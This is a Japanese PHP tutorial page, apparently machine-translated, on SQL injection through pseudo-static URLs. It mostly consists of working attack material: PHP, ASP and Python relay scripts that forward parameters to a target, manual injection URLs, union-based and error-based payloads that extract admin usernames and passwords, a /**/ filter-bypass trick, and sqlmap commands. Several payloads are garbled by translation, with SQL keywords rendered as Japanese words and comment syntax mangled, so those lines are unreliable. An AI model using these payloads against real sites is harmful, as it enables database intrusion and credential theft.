コミュニティ 学ぶ ツールライブラリ レジャー
検索
日本語
ホームページ > バックエンド開発 > PHPチュートリアル > 本文

擬似静的インジェクションのための PHP 解析

不言
リリース： 2023-04-01 15:36:02
オリジナル
1931 人が閲覧しました

この記事では、主に PHP の擬似静的インジェクションについて紹介します。サンプルの形で、PHP の擬似静的インジェクションの一般的な状況をまとめ、分析します。また、関連する asp および Python のオペレーション コードも付属しており、一定の参考値があります。 PHP プログラムのセキュリティについては、必要に応じて参照してください。

この記事の例では、PHP の疑似静的インジェクションについて説明します。参考までに皆さんと共有してください。詳細は次のとおりです:

1: 転送注入方法

1 http://経由。 www.xxx.com/news.php?id=1 を疑似静的
http://www.xxx.com/news.php/id/1.html

2にするとこうなりましたテスト手順：

注入された php コードを転送します:inject.php

<?php
set_time_limit(0);
$id=$_GET["id"];
$id=str_replace(” “,”%20″,$id);
$id=str_replace(“=”,”%3D”,$id);
//$url = "http://www.xxx.com/news.php/id/$id.html";
$url = "http://www.xxx.com/news.php/id/$id.html";
//echo $url;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "$url");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
print_r($output);
?>
ログイン後にコピー

3. ローカル環境で PHP をビルドします。 http://127.0.0.1/inject.php?id=1

インジェクションの脆弱性は、sqlmap または havj を通じて実行される可能性があります。

付録 ASP 転送コード: 

<%
JmdcwName=request("id")
JmStr=JmdcwName
JmStr=URLEncoding(JmStr)
JMUrl="http://192.168.235.7:8808/ad/blog/"  //实际上要请求的网址
JMUrl=JMUrl & JmStr&".html"    //拼接url
response.write JMUrl&JmStr    //我这里故意输出url来看
&#39;JmRef="http://127.0.0.1/6kbbs/bank.asp"
JmCok=""
JmCok=replace(JmCok,chr(32),"%20") 
JmStr=URLEncoding(JmStr)  
response.write  PostData(JMUrl,JmStr,JmCok,JmRef) //url,查询字符串，cookie，referer字段
Function PostData(PostUrl,PostStr,PostCok,PostRef)  
Dim Http
Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
With Http
.Open "GET",PostUrl,False
.Send ()
PostData = .ResponseBody
End With
Set Http = Nothing
PostData =bytes2BSTR(PostData)
End Function
Function bytes2BSTR(vIn)   //处理返回的信息
Dim strReturn
Dim I, ThisCharCode, NextCharCode
strReturn = ""
For I = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn, I, 1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn, I + 1, 1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
I = I + 1
End If
Next
bytes2BSTR = strReturn
End Function
Function URLEncoding(vstrin)    //发包前对参数的url编码一下
strReturn=""
Dim i
&#39;vstrin=replace(vstrin,"%","%25") &#39;增加转换搜索字符,
&#39;vstrin=Replace(vstrin,chr(32),"%20") &#39;转换空格,如果网站过滤了空格,尝试用/**/来代替%20
&#39;vstrin=Replace(vstrin,chr(43),"%2B")  &#39;JMDCW增加转换+字符
vstrin=Replace(vstrin,chr(32),"/**/")  &#39;在此增加要过滤的代码 //这里很关键，方便啊，把空格自动换成/**/，后面会说到的
For i=1 To Len(vstrin)
ThisChr=Mid(vstrin,i,1)
if Abs(Asc(ThisChr))< &HFF Then
strReturn=strReturn & ThisChr
Else
InnerCode=Asc(ThisChr)
If InnerCode<0 Then
InnerCode=InnerCode + &H10000
End If
Hight1=(InnerCode And &HFF00) \&HFF
Low1=InnerCode And &HFF
strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
End if
Next
URLEncoding=strReturn
End Function
%>
ログイン後にコピー

## 2. 手動注入方法

1.http://www.xxx.com/play/Diablo.html

http://www.xxx.com/down/html/?772.html

2.テスト注射:

http://www.xxx.com/down/html/?772′.html

http://www.xxx.com /play/Diablo'.html
http : //www.xxx.com/play/Diablo'/**/そして＃＃＃/**/1='1 /*.html
http://www.xxx.com/play/Diablo'
/ * */そして＃＃＃/**/1='2 /*.html
http://www.xxx.com/page/html/?56'/**/そして/**/1=1/*.html 通常
http://www.xxx.com/page/html/?56'/**/そして/**/1=2/*.html エラー

3.ページが同じ場合は存在せず、異なる場合は挿入されます。

4. ユニオン クエリ:

http://www.xxx.com/play/diablo' および 1=2 ユニオン選択 1,2… frominformation_schema.columns where 1='1。 html

http://www.xxx.com/page/html/?56'/**/そして/**/(SELECT/**/1/**/（選択する/**/から/**/count(* ),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/グループ/**/a)b)=1/*.html


手動注入方法(2)

http://www.xxx.net /news/html/?410.htmlhttp://www.xxx.net/news/html/?410'union/**/1/**/（選択する/**/concat(ユーザー,0x3a,パスワード)/**/select/**/pwn_base_admin/**/0,1),0x3a)a/**/information_schema.tables/**/count(*),concat(floor(rand(0)*2),0x3a,(select/**/による/**/where'1'='1.html

注:

疑似静的インジェクションは、URL

の通常の GET インジェクションと同じではありません。通常の URL の get によって挿入される、# などを使用できますが、擬似静的は機能せず、URL に直接渡されるため、/* を使用します。*&#&*/limit/**&#&*&#&*&#&*&#&*&#&*/a)b/**&#&*/このコメント記号

##3. SQLmap メソッド

sqlmap 内の疑似静的注入ポイントがある場所に *http:// を追加します。 www.cunlide.com/id1/1/id2/2python sqlmap.py -u “http://www.xxx.com/id1/1*/id2/2”

http:// www .xxx.com/news/class/?103.htm

python sqlmap.py -u “http://www.xxx.com/news/class/?103*.html”



4. Python スクリプト メソッド

#コード: 

from BaseHTTPServer import *
import urllib2
class MyHTTPHandler(BaseHTTPRequestHandler):
 def do_GET(self):
  path=self.path
  path=path[path.find(&#39;id=&#39;)+3:]
  proxy_support = urllib2.ProxyHandler({"http":"http://127.0.0.1:8087"})
  opener = urllib2.build_opener(proxy_support)
  urllib2.install_opener(opener)
  url="http://www.xxx.com/magazine/imedia/gallery/dickinsons-last-dance/"
  try:
   response=urllib2.urlopen(url+path)
   html=response.read()
  except urllib2.URLError,e:
   html=e.read()
  self.wfile.write(html)
server = HTTPServer(("", 8000), MyHTTPHandler)
server.serve_forever()
ログイン後にコピー

以上がこの記事の全内容です。その他の関連コンテンツについては、

関連の推奨事項:

## をご覧ください。 #PHP の静的変数と静的静的変数の使用の分析について

URL からルート ドメイン名を抽出する PHP の実装

以上が擬似静的インジェクションのための PHP 解析の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

関連ラベル：
php 擬似静的 注射
ソース：php.cn
前の記事：PHP でのディレクトリ操作について 次の記事：PHP におけるスケジュールされたタスクの実装原理の分析
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
著者別の最新記事
最新の問題
URL パラメータから取得した PHP 配列が期待どおりに動作しない カテゴリ ID を含む URL パラメータがあり、それを次のような配列として扱いたいと考えています: http://example.com?cat[]=3,9,13 PHP では、...
から 2024-04-06 22:09:02
0
1
1428
ApacheのどこにCustomLogディレクティブを配置すればよいですか 私はphp:7.2-apachedockerを使用しています。ヘルスチェック URL ログイン アクセス ログを無効にする必要があります。このリンクに基づいて、Customlog ...
から 2024-04-06 22:03:59
0
1
990
戻り値の変数の形式は何ですか? 私はphpの初心者です。コードを見つけました: if($x<time()){return[false,'error'];} ロジックや変数は重要ではありませんが、[false...
から 2024-04-06 21:55:20
0
1
778
opentbs を使用して odt ファイルを生成するときに発生する問題: 同じキーの値が別の列ではなく同じ行に表示されます。 PHPでodtを作成するためにOpenTbsというライブラリを使っていますが、列と行が動的に生成されるので利用しています。行と列の作成方法は知っていますが、それらを整理する方法がわ...
から 2024-04-06 20:18:18
0
1
483
ループするために MySQL の結果を ID ごとにグループ化する mysqlにフライトデータを含むテーブルがあります。 codeigniter3Journey_idair_idFlightDurationout_or_inflightdurati...
から 2024-04-06 17:27:56
0
1
406
関連トピック
詳細>
人気のおすすめ
人気のチュートリアル
詳細>
関連するチュートリアル
人気のおすすめ
最新のコース
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート